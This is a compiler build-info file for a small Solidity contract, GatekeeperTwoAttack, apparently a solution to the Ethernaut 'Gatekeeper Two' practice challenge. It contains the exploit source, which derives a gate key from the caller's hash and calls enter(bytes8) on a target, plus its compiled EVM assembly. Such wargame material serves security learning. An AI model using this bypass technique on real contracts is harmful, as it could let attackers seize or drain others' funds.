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bd06e9ab5ad9c04a7cb8a9bef7899dd0.json
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{
"id": "bd06e9ab5ad9c04a7cb8a9bef7899dd0",
"_format": "hh-sol-build-info-1",
"solcVersion": "0.6.0",
"solcLongVersion": "0.6.0+commit.26b70077",
"input": {
"language": "Solidity",
"sources": {
"contracts/GateKeeperTwoAttack.sol": {
"content": "//SPDX-License-Identifier: MIT\n\npragma solidity 0.6.0;\n\ncontract GatekeeperTwoAttack {\n constructor(address _adr) public {\n bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1);\n _adr.call(abi.encodeWithSignature('enter(bytes8)',_key));\n }\n}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"": [
"ast"
],
"*": [
"abi",
"metadata",
"devdoc",
"userdoc",
"evm.legacyAssembly",
"evm.bytecode",
"evm.deployedBytecode",
"evm.methodIdentifiers",
"evm.gasEstimates",
"evm.assembly"
]
}
}
}
},
"output": {
"contracts": {
"contracts/GateKeeperTwoAttack.sol": {
"GatekeeperTwoAttack": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_adr",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
}
],
"devdoc": {
"methods": {}
},
"evm": {
"assembly": " /* \"contracts/GateKeeperTwoAttack.sol\":56:303 contract GatekeeperTwoAttack {... */\n mstore(0x40, 0x80)\n /* \"contracts/GateKeeperTwoAttack.sol\":91:301 constructor(address _adr) public {... */\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_1\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x00\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\ntag_1:\n /* \"contracts/GateKeeperTwoAttack.sol\":91:301 constructor(address _adr) public {... */\n pop\n mload(0x40)\n sub(codesize, bytecodeSize)\n dup1\n bytecodeSize\n dup4\n codecopy\n dup2\n dup2\n add\n 0x40\n mstore\n /* \"--CODEGEN--\":13:15 */\n 0x20\n /* \"--CODEGEN--\":8:11 */\n dup2\n /* \"--CODEGEN--\":5:16 */\n lt\n /* \"--CODEGEN--\":2:4 */\n iszero\n tag_2\n jumpi\n /* \"--CODEGEN--\":29:30 */\n 0x00\n /* \"--CODEGEN--\":26:27 */\n dup1\n /* \"--CODEGEN--\":19:31 */\n revert\n /* \"--CODEGEN--\":2:4 */\ntag_2:\n /* \"contracts/GateKeeperTwoAttack.sol\":91:301 constructor(address _adr) public {... */\n dup2\n add\n swap1\n dup1\n dup1\n mload\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":134:145 bytes8 _key */\n 0x00\n /* \"contracts/GateKeeperTwoAttack.sol\":226:227 1 */\n 0x01\n /* \"contracts/GateKeeperTwoAttack.sol\":221:222 0 */\n 0x00\n /* \"contracts/GateKeeperTwoAttack.sol\":214:227 uint64(0) - 1 */\n sub\n /* \"contracts/GateKeeperTwoAttack.sol\":196:206 msg.sender */\n caller\n /* \"contracts/GateKeeperTwoAttack.sol\":179:207 abi.encodePacked(msg.sender) */\n add(0x20, mload(0x40))\n dup1\n dup3\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0x60\n shl\n dup2\n mstore\n 0x14\n add\n swap2\n pop\n pop\n mload(0x40)\n /* \"--CODEGEN--\":49:53 */\n 0x20\n /* \"--CODEGEN--\":39:46 */\n dup2\n /* \"--CODEGEN--\":30:37 */\n dup4\n /* \"--CODEGEN--\":26:47 */\n sub\n /* \"--CODEGEN--\":22:54 */\n sub\n /* \"--CODEGEN--\":13:20 */\n dup2\n /* \"--CODEGEN--\":6:55 */\n mstore\n /* \"contracts/GateKeeperTwoAttack.sol\":179:207 abi.encodePacked(msg.sender) */\n swap1\n 0x40\n mstore\n /* \"contracts/GateKeeperTwoAttack.sol\":169:208 keccak256(abi.encodePacked(msg.sender)) */\n dup1\n mload\n swap1\n 0x20\n add\n keccak256\n /* \"contracts/GateKeeperTwoAttack.sol\":155:210 uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) */\n 0xc0\n shr\n /* \"contracts/GateKeeperTwoAttack.sol\":155:227 uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1 */\n xor\n /* \"contracts/GateKeeperTwoAttack.sol\":148:228 bytes8(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1) */\n 0xc0\n shl\n /* \"contracts/GateKeeperTwoAttack.sol\":134:228 bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1) */\n swap1\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":238:242 _adr */\n dup2\n /* \"contracts/GateKeeperTwoAttack.sol\":238:247 _adr.call */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"contracts/GateKeeperTwoAttack.sol\":288:292 _key */\n dup2\n /* \"contracts/GateKeeperTwoAttack.sol\":248:293 abi.encodeWithSignature('enter(bytes8)',_key) */\n add(0x24, mload(0x40))\n dup1\n dup3\n not(0xffffffffffffffffffffffffffffffffffffffffffffffff)\n and\n not(0xffffffffffffffffffffffffffffffffffffffffffffffff)\n and\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n /* \"--CODEGEN--\":49:53 */\n 0x20\n /* \"--CODEGEN--\":39:46 */\n dup2\n /* \"--CODEGEN--\":30:37 */\n dup4\n /* \"--CODEGEN--\":26:47 */\n sub\n /* \"--CODEGEN--\":22:54 */\n sub\n /* \"--CODEGEN--\":13:20 */\n dup2\n /* \"--CODEGEN--\":6:55 */\n mstore\n /* \"contracts/GateKeeperTwoAttack.sol\":248:293 abi.encodeWithSignature('enter(bytes8)',_key) */\n swap1\n 0x40\n mstore\n and(not(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff), 0x3370204e00000000000000000000000000000000000000000000000000000000)\n /* \"--CODEGEN--\":38:42 */\n 0x20\n /* \"--CODEGEN--\":29:36 */\n dup3\n /* \"--CODEGEN--\":25:43 */\n add\n /* \"--CODEGEN--\":67:77 */\n dup1\n /* \"--CODEGEN--\":61:78 */\n mload\n /* \"--CODEGEN--\":96:154 */\n 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n /* \"--CODEGEN--\":199:207 */\n dup4\n /* \"--CODEGEN--\":192:196 */\n dup2\n /* \"--CODEGEN--\":186:190 */\n dup4\n /* \"--CODEGEN--\":182:197 */\n and\n /* \"--CODEGEN--\":179:208 */\n or\n /* \"--CODEGEN--\":167:177 */\n dup4\n /* \"--CODEGEN--\":160:209 */\n mstore\n /* \"--CODEGEN--\":0:215 */\n pop\n pop\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":248:293 abi.encodeWithSignature('enter(bytes8)',_key) */\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":238:294 _adr.call(abi.encodeWithSignature('enter(bytes8)',_key)) */\n mload(0x40)\n dup1\n dup3\n dup1\n mload\n swap1\n 0x20\n add\n swap1\n dup1\n dup4\n dup4\n /* \"--CODEGEN--\":36:189 */\ntag_5:\n /* \"--CODEGEN--\":66:68 */\n 0x20\n /* \"--CODEGEN--\":61:64 */\n dup4\n /* \"--CODEGEN--\":58:69 */\n lt\n /* \"--CODEGEN--\":36:189 */\n tag_7\n jumpi\n /* \"--CODEGEN--\":182:185 */\n dup1\n /* \"--CODEGEN--\":176:186 */\n mload\n /* \"--CODEGEN--\":171:174 */\n dup3\n /* \"--CODEGEN--\":164:187 */\n mstore\n /* \"--CODEGEN--\":98:100 */\n 0x20\n /* \"--CODEGEN--\":93:96 */\n dup3\n /* \"--CODEGEN--\":89:101 */\n add\n /* \"--CODEGEN--\":82:101 */\n swap2\n pop\n /* \"--CODEGEN--\":123:125 */\n 0x20\n /* \"--CODEGEN--\":118:121 */\n dup2\n /* \"--CODEGEN--\":114:126 */\n add\n /* \"--CODEGEN--\":107:126 */\n swap1\n pop\n /* \"--CODEGEN--\":148:150 */\n 0x20\n /* \"--CODEGEN--\":143:146 */\n dup4\n /* \"--CODEGEN--\":139:151 */\n sub\n /* \"--CODEGEN--\":132:151 */\n swap3\n pop\n /* \"--CODEGEN--\":36:189 */\n jump(tag_5)\ntag_7:\n /* \"--CODEGEN--\":274:275 */\n 0x01\n /* \"--CODEGEN--\":267:270 */\n dup4\n /* \"--CODEGEN--\":263:265 */\n 0x20\n /* \"--CODEGEN--\":259:271 */\n sub\n /* \"--CODEGEN--\":254:257 */\n 0x0100\n /* \"--CODEGEN--\":250:272 */\n exp\n /* \"--CODEGEN--\":246:276 */\n sub\n /* \"--CODEGEN--\":315:319 */\n dup1\n /* \"--CODEGEN--\":311:320 */\n not\n /* \"--CODEGEN--\":305:308 */\n dup3\n /* \"--CODEGEN--\":299:309 */\n mload\n /* \"--CODEGEN--\":295:321 */\n and\n /* \"--CODEGEN--\":356:360 */\n dup2\n /* \"--CODEGEN--\":350:353 */\n dup5\n /* \"--CODEGEN--\":344:354 */\n mload\n /* \"--CODEGEN--\":340:361 */\n and\n /* \"--CODEGEN--\":389:396 */\n dup1\n /* \"--CODEGEN--\":380:387 */\n dup3\n /* \"--CODEGEN--\":377:397 */\n or\n /* \"--CODEGEN--\":372:375 */\n dup6\n /* \"--CODEGEN--\":365:398 */\n mstore\n /* \"--CODEGEN--\":3:402 */\n pop\n pop\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":238:294 _adr.call(abi.encodeWithSignature('enter(bytes8)',_key)) */\n pop\n pop\n pop\n swap1\n pop\n add\n swap2\n pop\n pop\n 0x00\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n 0x00\n dup7\n gas\n call\n swap2\n pop\n pop\n returndatasize\n /* \"--CODEGEN--\":12:13 */\n dup1\n /* \"--CODEGEN--\":19:20 */\n 0x00\n /* \"--CODEGEN--\":14:41 */\n dup2\n eq\n tag_10\n jumpi\n /* \"--CODEGEN--\":67:71 */\n 0x40\n /* \"--CODEGEN--\":61:72 */\n mload\n /* \"--CODEGEN--\":56:72 */\n swap2\n pop\n /* \"--CODEGEN--\":134:138 */\n 0x1f\n /* \"--CODEGEN--\":130:139 */\n not\n /* \"--CODEGEN--\":123:127 */\n 0x3f\n /* \"--CODEGEN--\":105:121 */\n returndatasize\n /* \"--CODEGEN--\":101:128 */\n add\n /* \"--CODEGEN--\":97:140 */\n and\n /* \"--CODEGEN--\":94:95 */\n dup3\n /* \"--CODEGEN--\":90:141 */\n add\n /* \"--CODEGEN--\":84:88 */\n 0x40\n /* \"--CODEGEN--\":77:142 */\n mstore\n /* \"--CODEGEN--\":157:173 */\n returndatasize\n /* \"--CODEGEN--\":154:155 */\n dup3\n /* \"--CODEGEN--\":147:174 */\n mstore\n /* \"--CODEGEN--\":211:227 */\n returndatasize\n /* \"--CODEGEN--\":208:209 */\n 0x00\n /* \"--CODEGEN--\":201:205 */\n 0x20\n /* \"--CODEGEN--\":198:199 */\n dup5\n /* \"--CODEGEN--\":194:206 */\n add\n /* \"--CODEGEN--\":179:228 */\n returndatacopy\n /* \"--CODEGEN--\":5:233 */\n jump(tag_9)\n /* \"--CODEGEN--\":14:41 */\ntag_10:\n /* \"--CODEGEN--\":32:36 */\n 0x60\n /* \"--CODEGEN--\":27:36 */\n swap2\n pop\n /* \"--CODEGEN--\":5:233 */\ntag_9:\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":238:294 _adr.call(abi.encodeWithSignature('enter(bytes8)',_key)) */\n pop\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":91:301 constructor(address _adr) public {... */\n pop\n pop\n /* \"contracts/GateKeeperTwoAttack.sol\":56:303 contract GatekeeperTwoAttack {... */\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x00\n codecopy\n 0x00\n return\nstop\n\nsub_0: assembly {\n /* \"contracts/GateKeeperTwoAttack.sol\":56:303 contract GatekeeperTwoAttack {... */\n mstore(0x40, 0x80)\n 0x00\n dup1\n revert\n\n auxdata: 0xa26469706673582212206e8c5a7cea215d596ab525b97c04069583cbecd87b70ecb58b88ac014616b94364736f6c63430006000033\n}\n",
"bytecode": {
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